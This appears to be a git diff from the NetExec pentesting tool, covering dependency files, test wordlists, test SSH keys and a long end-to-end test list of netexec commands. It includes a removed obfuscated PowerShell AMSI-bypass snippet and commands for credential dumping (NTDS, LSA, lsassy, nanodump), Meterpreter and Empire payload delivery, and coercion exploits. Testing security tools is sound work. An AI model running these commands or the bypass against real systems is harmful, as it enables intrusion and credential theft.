[[package]]
name = "msldap"
version = "0.5.10"
version = "0.5.9"
description = "Python library to play with MS LDAP"
optional = false
python-versions = ">=3.7"
files = [
{file = "msldap-0.5.10-py3-none-any.whl", hash = "sha256:263a4bfa832f3b9f27163e5a752151608283745dba22ad8d7c560ae18e0e193b"},
{file = "msldap-0.5.10.tar.gz", hash = "sha256:65bfe0e502c94d26f45d366f567cdb62462f27f655bd0ae2f0228fe3c9f989b8"},
{file = "msldap-0.5.9-py3-none-any.whl", hash = "sha256:26c0418086f788c1197341ee31d4ffbc69c057aef339cd91e882ca7c1fb10fcb"},
{file = "msldap-0.5.9.tar.gz", hash = "sha256:5f3c4e362296e0e1eba447eda9f230988a7b2a08826f7b3ed34ec9612ebcfe33"},
]
[package.dependencies]
@@ -2092,7 +2092,7 @@ files = [
]
[package.dependencies]
greenlet = {version = "!=0.4.17", markers = "platform_machine == \"win32\" or platform_machine == \"WIN32\" or platform_machine == \"AMD64\" or platform_machine == \"amd64\" or platform_machine == \"x86_64\" or platform_machine == \"ppc64le\" or platform_machine == \"aarch64\""}
greenlet = {version = "!=0.4.17", markers = "platform_machine == \"aarch64\" or platform_machine == \"ppc64le\" or platform_machine == \"x86_64\" or platform_machine == \"amd64\" or platform_machine == \"AMD64\" or platform_machine == \"win32\" or platform_machine == \"WIN32\""}
typing-extensions = ">=4.6.0"
[package.extras]
@@ -2175,13 +2175,13 @@ widechars = ["wcwidth"]
[[package]]
name = "termcolor"
version = "2.4.0"
version = "2.0.1"
description = "ANSI color formatting for output in terminal"
optional = false
python-versions = ">=3.8"
python-versions = ">=3.7"
files = [
{file = "termcolor-2.4.0-py3-none-any.whl", hash = "sha256:9297c0df9c99445c2412e832e882a7884038a25617c60cea2ad69488d4040d63"},
{file = "termcolor-2.4.0.tar.gz", hash = "sha256:aab9e56047c8ac41ed798fa36d892a37aca6b3e9159f3e0c24bc64a9b3ac7b7a"},
{file = "termcolor-2.0.1-py3-none-any.whl", hash = "sha256:7e597f9de8e001a3208c4132938597413b9da45382b6f1d150cff8d062b7aaa3"},
{file = "termcolor-2.0.1.tar.gz", hash = "sha256:6b2cf769e93364a2676e1de56a7c0cff2cf5bd07f37e9cc80b0dd6320ebfe388"},
]
[package.extras]
@@ -2351,4 +2351,4 @@ testing = ["big-O", "jaraco.functools", "jaraco.itertools", "more-itertools", "p
[metadata]
lock-version = "2.0"
python-versions = "^3.8.0"
content-hash = "7bde962ed54681c55a1249f2f8272ebf64109417f2a28293eab3eea90ce05c6f"
content-hash = "10aa4808e56fd71b438e074ae1a328290ec06b6e3e674b6cdc7e8bcf7eb9646e"
+131 -132
View File
@@ -1,132 +1,131 @@
[tool.poetry]
name = "netexec"
version = "1.2.0"
description = "The Network Execution tool"
authors = [
"Marshall Hallenbeck <[email protected]>",
"Alexander Neff <[email protected]>",
"Thomas Seigneuret <[email protected]>"
]
readme = "README.md"
homepage = "https://github.com/Pennyw0rth/NetExec"
repository = "https://github.com/Pennyw0rth/NetExec"
exclude = []
include = [
"nxc/data/*",
"nxc/modules/*"
]
license = "BSD-2-Clause"
classifiers = [
'Environment :: Console',
'License :: OSI Approved :: BSD License',
'Programming Language :: Python :: 3',
'Topic :: Security',
]
packages = [
{ include = "nxc"}
]
[tool.poetry.scripts]
nxc = 'nxc.netexec:main'
netexec = 'nxc.netexec:main'
NetExec = 'nxc.netexec:main'
nxcdb = 'nxc.nxcdb:main'
[tool.poetry.dependencies]
python = "^3.8.0"
aardwolf = "^0.2.8"
aioconsole = "^0.6.2"
aiosqlite = "^0.19.0"
argcomplete = "^3.1.4"
asyauth = ">=0.0.20"
beautifulsoup4 = ">=4.11,<5"
bloodhound = "^1.7.2"
dploot = "^2.7.1"
dsinternals = "^1.2.4"
impacket = { git = "https://github.com/fortra/impacket.git" }
lsassy = ">=3.1.11"
masky = "^0.2.0"
minikerberos = "^0.4.1"
msgpack = "^1.0.0"
msldap = "^0.5.10"
neo4j = "^5.0.0"
paramiko = "^3.3.1"
poetry-dynamic-versioning = "^1.2.0"
pyasn1-modules = "^0.3.0"
pylnk3 = "^0.4.2"
pypsrp = "^0.8.1"
pypykatz = "^0.6.8"
pywerview = "^0.3.3" # pywerview 5 requires libkrb5-dev installed which is not default on kali (as of 9/23)
python-dateutil = ">=2.8.2"
python-libnmap = "^0.7.3"
requests = ">=2.27.1"
rich = "^13.3.5"
sqlalchemy = "^2.0.4"
termcolor = ">=2.4.0"
terminaltables = "^3.1.0"
xmltodict = "^0.13.0"
[tool.poetry.group.dev.dependencies]
flake8 = "*"
shiv = "*"
pytest = "^7.2.2"
ruff = "=0.0.292"
[build-system]
requires = ["poetry-core>=1.2.0", "poetry-dynamic-versioning>=1.0.0,<2.0.0"]
build-backend = "poetry_dynamic_versioning.backend"
[tool.poetry-dynamic-versioning]
enable = true
pattern = "(?P<base>\\d+\\.\\d+\\.\\d+)"
format = "{base}+{commit}"
[tool.ruff]
# Ruff doesn't enable pycodestyle warnings (`W`) or
# McCabe complexity (`C901`) by default.
# Other options: pep8-naming (N), flake8-annotations (ANN), flake8-blind-except (BLE), flake8-commas (COM), flake8-pyi (PYI), flake8-pytest-style (PT), flake8-unused-arguments (ARG), etc
# Should tackle flake8-use-pathlib (PTH) at some point
select = ["E", "F", "D", "UP", "YTT", "ASYNC", "B", "A", "C4", "ISC", "ICN", "PIE", "PT", "Q", "RSE", "RET", "SIM", "TID", "ERA", "FLY", "PERF", "FURB", "LOG", "RUF"]
ignore = [ "E501", "F405", "D100", "D101", "D102", "D103", "D104", "D105", "D106", "D107", "D203", "D204", "D205", "D212", "D213", "D400", "D401", "D415", "D417", "D419", "RET503", "RET505", "RET506", "RET507", "RET508", "PERF203", "RUF012"]
# Allow autofix for all enabled rules (when `--fix`) is provided.
fixable = ["ALL"]
unfixable = []
# Exclude a variety of commonly ignored directories.
exclude = [
".bzr",
".direnv",
".eggs",
".git",
".git-rewrite",
".hg",
".mypy_cache",
".nox",
".pants.d",
".pytype",
".ruff_cache",
".svn",
".tox",
".venv",
"__pypackages__",
"_build",
"buck-out",
"build",
"dist",
"node_modules",
"venv",
]
per-file-ignores = {}
line-length = 65000
# Allow unused variables when underscore-prefixed.
dummy-variable-rgx = "^(_+|(_+[a-zA-Z0-9_]*[a-zA-Z0-9]+?))$"
target-version = "py37"
[tool.ruff.flake8-quotes]
docstring-quotes = "double"
inline-quotes = "double"
multiline-quotes = "double"
[tool.poetry]
name = "netexec"
version = "1.1.0"
description = "The Network Execution tool"
authors = [
"Marshall Hallenbeck <[email protected]>",
"Alexander Neff <[email protected]>",
"Thomas Seigneuret <[email protected]>"
]
readme = "README.md"
homepage = "https://github.com/Pennyw0rth/NetExec"
repository = "https://github.com/Pennyw0rth/NetExec"
exclude = []
include = [
"nxc/data/*",
"nxc/modules/*"
]
license = "BSD-2-Clause"
classifiers = [
'Environment :: Console',
'License :: OSI Approved :: BSD License',
'Programming Language :: Python :: 3',
'Topic :: Security',
]
packages = [
{ include = "nxc"}
]
[tool.poetry.scripts]
nxc = 'nxc.netexec:main'
netexec = 'nxc.netexec:main'
NetExec = 'nxc.netexec:main'
nxcdb = 'nxc.nxcdb:main'
[tool.poetry.dependencies]
python = "^3.8.0"
requests = ">=2.27.1"
beautifulsoup4 = ">=4.11,<5"
lsassy = ">=3.1.8"
termcolor = "2.0.1"
msgpack = "^1.0.0"
neo4j = "^5.0.0"
pylnk3 = "^0.4.2"
pypsrp = "^0.8.1"
paramiko = "^3.3.1"
impacket = { git = "https://github.com/fortra/impacket.git" }
dsinternals = "^1.2.4"
xmltodict = "^0.13.0"
terminaltables = "^3.1.0"
aioconsole = "^0.6.2"
pywerview = "^0.3.3" # pywerview 5 requires libkrb5-dev installed which is not default on kali (as of 9/23)
minikerberos = "^0.4.1"
pypykatz = "^0.6.8"
aardwolf = "^0.2.7"
dploot = "^2.2.1"
bloodhound = "^1.6.1"
asyauth = "~0.0.14"
masky = "^0.2.0"
sqlalchemy = "^2.0.4"
aiosqlite = "^0.19.0"
pyasn1-modules = "^0.3.0"
rich = "^13.3.5"
python-libnmap = "^0.7.3"
argcomplete = "^3.1.4"
python-dateutil = ">=2.8.2"
poetry-dynamic-versioning = "^1.2.0"
[tool.poetry.group.dev.dependencies]
flake8 = "*"
shiv = "*"
pytest = "^7.2.2"
ruff = "=0.0.292"
[build-system]
requires = ["poetry-core>=1.2.0", "poetry-dynamic-versioning>=1.0.0,<2.0.0"]
build-backend = "poetry_dynamic_versioning.backend"
[tool.poetry-dynamic-versioning]
enable = true
pattern = "(?P<base>\\d+\\.\\d+\\.\\d+)"
format = "{base}+{commit}"
[tool.ruff]
# Ruff doesn't enable pycodestyle warnings (`W`) or
# McCabe complexity (`C901`) by default.
# Other options: pep8-naming (N), flake8-annotations (ANN), flake8-blind-except (BLE), flake8-commas (COM), flake8-pyi (PYI), flake8-pytest-style (PT), flake8-unused-arguments (ARG), etc
# Should tackle flake8-use-pathlib (PTH) at some point
select = ["E", "F", "D", "UP", "YTT", "ASYNC", "B", "A", "C4", "ISC", "ICN", "PIE", "PT", "Q", "RSE", "RET", "SIM", "TID", "ERA", "FLY", "PERF", "FURB", "LOG", "RUF"]
ignore = [ "E501", "F405", "D100", "D101", "D102", "D103", "D104", "D105", "D106", "D107", "D203", "D204", "D205", "D212", "D213", "D400", "D401", "D415", "D417", "D419", "RET503", "RET505", "RET506", "RET507", "RET508", "PERF203", "RUF012"]
# Allow autofix for all enabled rules (when `--fix`) is provided.
fixable = ["ALL"]
unfixable = []
# Exclude a variety of commonly ignored directories.
exclude = [
".bzr",
".direnv",
".eggs",
".git",
".git-rewrite",
".hg",
".mypy_cache",
".nox",
".pants.d",
".pytype",
".ruff_cache",
".svn",
".tox",
".venv",
"__pypackages__",
"_build",
"buck-out",
"build",
"dist",
"node_modules",
"venv",
]
per-file-ignores = {}
line-length = 65000
# Allow unused variables when underscore-prefixed.
dummy-variable-rgx = "^(_+|(_+[a-zA-Z0-9_]*[a-zA-Z0-9]+?))$"
target-version = "py37"
[tool.ruff.flake8-quotes]
docstring-quotes = "double"
inline-quotes = "double"
multiline-quotes = "double"
-1
View File
@@ -8,5 +8,4 @@
* Install nxc (either in venv or via Poetry): `poetry install --with dev`
* Run `python tests/e2e_tests.py -t $IP -u $USER -p $PASS`, with optional `-k` parameter
* Poetry: `poetry run python tests/e2e_tests.py -t $IP -u $USER -p $PASS`
* For testing standalone binaries (e.g. windows) run: `python tests/e2e_tests.py --executable dist/nxc.exe -t $IP -u $USER -p $PASS`
* To see full errors (that might show real errors not caught by checking the exit code), run with the `--errors` flag
-4
View File
@@ -1,4 +0,0 @@
[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
try{
[Ref].Assembly.GetType('Sys'+'tem.Man'+'agement.Aut'+'omation.Am'+'siUt'+'ils').GetField('am'+'siIni'+'tFailed', 'NonP'+'ublic,Sta'+'tic').SetValue($null, $true)
}catch{}
+2
View File
@@ -0,0 +1,2 @@
ls
whoami
+2
View File
@@ -0,0 +1,2 @@
dir
whoami
+5
View File
@@ -0,0 +1,5 @@
ls
[Environment]::UserName
[System.Security.Principal.WindowsIdentity]::GetCurrent().Name
$env:username
$(Get-CimInstance Win32_ComputerSystem | select username).username
-6
View File
@@ -1,6 +0,0 @@
DEADBEEFDEADBEEFDEADBEEFDEADBEEF
DEADBEEFDEADBEEFDEADBEEFDEADBEEF:DEADBEEFDEADBEEFDEADBEEFDEADBEEF
TooShort
ToooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooLong
fc525c9683e8fe067095ba2ddc971889
aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889
File renamed without changes.
+1
View File
@@ -0,0 +1 @@
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCe4iQRJEJsKPmp8kyO3ZlJ1mHLKPcfQuMiNW3f4I0ldl6ywr54zpiPZgCof+vVQnyduq1nmvboEKN/epUJmD6jrkPfdDG22hkX/We/5bKyC62BbDhrZ8dqZcop8Qu+SBpWxdwX+cqsO+UT/qm7D9SzY6OYfzkTX+OQVcHBbVUWcphJTbcbPwJ2HZ1FGGLW0Fh8Tnvvh11kFB7sQYYDGGgKGjBcXTqGf6J/Y3P31u+HRVxz8S+nem1Ox/DDoXtjCO7Z98YhQDctidzj/92r12tPDHIw23b4MSCYOR/TKiYocwCS+nYMq5cjUSiWNraq+yL2RLIIMKaGT1ajac+QyOlvaXq7Z0kPF2VbrVOm3rIEw/AYfOAIh08BsenhkhoBilWtmky4VpURkLh4bgvV/91RKd04E1sYNsytcZ/0wXJAHc0RKZrHl/QjjJZ0LH+CMii/8PdbmW9IiSIXV3nqlGP931bekBoacZHbYIftXT1wGmRVT2lPQ7C3E2Gm43Kpy8M= marshall@ubuntu22desktop
+8
View File
@@ -0,0 +1,8 @@
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABAPVonLaG
iqZXrvtilLcRgqAAAAGAAAAAEAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIGLeGGNZVSMPCxm/
Wt0ggSNt8L9ne9o68sRfzLl1HC+tAAAAkNPAbX5WGE5c8chM5f8evbWPgK+mmKSdHu/N9X
wGtM5icWYbrd+PZpRKP8NzyndXHYCsDj0T1/xSmnWjPzyvBuQ8r2nONbQ0QwpXY67p6PI7
rB1e/wznadGzHSEdRYBK1wvph0t8NUfE5DcD8uMQLb4FpcvkS0VU9FWQ+WLw//6n0XcU/W
wOHJOzQY12jSMBeA==
-----END OPENSSH PRIVATE KEY-----
+1
View File
@@ -0,0 +1 @@
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGLeGGNZVSMPCxm/Wt0ggSNt8L9ne9o68sRfzLl1HC+t TESTING-KEY
+1 -2
View File
@@ -1,5 +1,4 @@
Passw0rd!
None
ftp
guest
iamthekingoftheworld
guest
+1 -2
View File
@@ -1,5 +1,4 @@
Administrator
Anonymous
ftp
guest
robert.baratheon
guest
+98 -101
View File
@@ -1,8 +1,5 @@
##### Check Generic Help Options
netexec -h
##### SMB
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex
netexec {DNS} smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --shares
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --shares --filter-shares READ WRITE
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --pass-pol
@@ -22,112 +19,127 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sam
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --lsa
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --dpapi
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sccm
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sccm wmi
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x ipconfig
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x ipconfig --exec-method atexec
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x ipconfig --exec-method smbexec
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x ipconfig --exec-method mmcexec
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --put-file TEST_NORMAL_FILE \\Windows\\Temp\\test_file.txt
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --put-file TEST_NORMAL_FILE \\Windows\\Temp\\test_file.txt --put-file TEST_NORMAL_FILE \\Windows\\Temp\\test_file2.txt
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --get-file \\Windows\\Temp\\test_file.txt /tmp/test_file.txt
##### SMB PowerShell
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --exec-method atexec
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --exec-method smbexec
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --exec-method mmcexec
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --obfs
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --amsi-bypass AMSI_BYPASS_FILE
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs --amsi-bypass AMSI_BYPASS_FILE
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --obfs --amsi-bypass AMSI_BYPASS_FILE
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --amsi-bypass AMSI_BYPASS_FILE
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --no-encode
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --no-encode
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --obfs --no-encode
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs --no-encode
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --obfs --amsi-bypass AMSI_BYPASS_FILE --no-encode
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs --amsi-bypass AMSI_BYPASS_FILE --no-encode
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs --amsi-bypass AMSI_BYPASS_FILE --no-encode --exec-method atexec
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs --amsi-bypass AMSI_BYPASS_FILE --no-encode --exec-method smbexec
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs --amsi-bypass AMSI_BYPASS_FILE --no-encode --exec-method mmcexec
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --clear-obfscripts # current we don't really use?
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x whoami
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X whoami
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X whoami --obfs
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --wmi "select Name from win32_computersystem"
netexec --jitter 2 smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
netexec --jitter 1-3 smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
netexec --jitter 2-2 smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
##### SMB Modules
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -L
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-computer --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-computer -o NAME="BADPC" PASSWORD="Password1"
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-computer -o NAME="BADPC" PASSWORD="Password2" CHANGEPW=True
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-computer -o NAME="BADPC" DELETE=True
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M bh_owned --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M bh_owned
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dfscoerce --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dfscoerce
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M drop-sc
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M drop-sc --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M drop-sc -o CLEANUP=True
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M empire_exec --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M empire_exec -o LISTENER=http-listener
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M empire_exec -o LISTENER=http-listener OBFUSCATE=True
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M enum_av --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M enum_av
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M enum_dns
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M enum_dns --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M enum_dns -o DOMAIN=google.com
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M firefox --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M firefox
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get_netconnections --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get_netconnections
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M gpp_autologin --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M gpp_autologin
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M gpp_password --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M gpp_password
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M handlekatz
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M handlekatz --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M handlekatz -o HANDLEKATZ_EXE_NAME="hk.exe"
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M hash_spider --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M hash_spider
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M impersonate --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M impersonate
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M iis --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M iis
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M install_elevated --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M install_elevated
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ioxidresolver --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ioxidresolver
# currently hanging indefinitely - TODO: look into this
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M keepass_discover --options
#netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M keepass_discover
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M keepass_trigger --options
#netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M keepass_trigger -o ACTION=ALL USER=LOGIN_USERNAME KEEPASS_CONFIG_PATH="C:\\Users\\LOGIN_USERNAME\\AppData\\Roaming\\KeePass\\KeePass.config.xml"
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M lsassy --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M lsassy
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M masky --options
# You must replace this with the proper CA information!
#netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M masky -o CA="host.domain.tld\domain-host-CA"
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M met_inject -o SRVHOST=127.0.0.1 SRVPORT=4443 RAND=12345
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mobaxterm
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mremoteng
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M met_inject --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M met_inject -o SRVHOST=127.0.0.1 SRVPORT=4444 RAND=12345
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ms17-010 --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ms17-010
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M msol --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M msol
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M nanodump --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M nanodump
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M nopac --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M nopac
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ntdsutil --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ntdsutil
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ntlmv1 --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ntlmv1
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M petitpotam --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M petitpotam
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M pi --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M pi
# Will need to change the PID for your test system
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M pi -o PID=100 EXEC='dir'
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M procdump --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M procdump
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M putty
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdcman --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdcman
#netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdp --options
#netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdp -o ACTION=enable
#netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdp -o ACTION=disable
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M reg-query --options
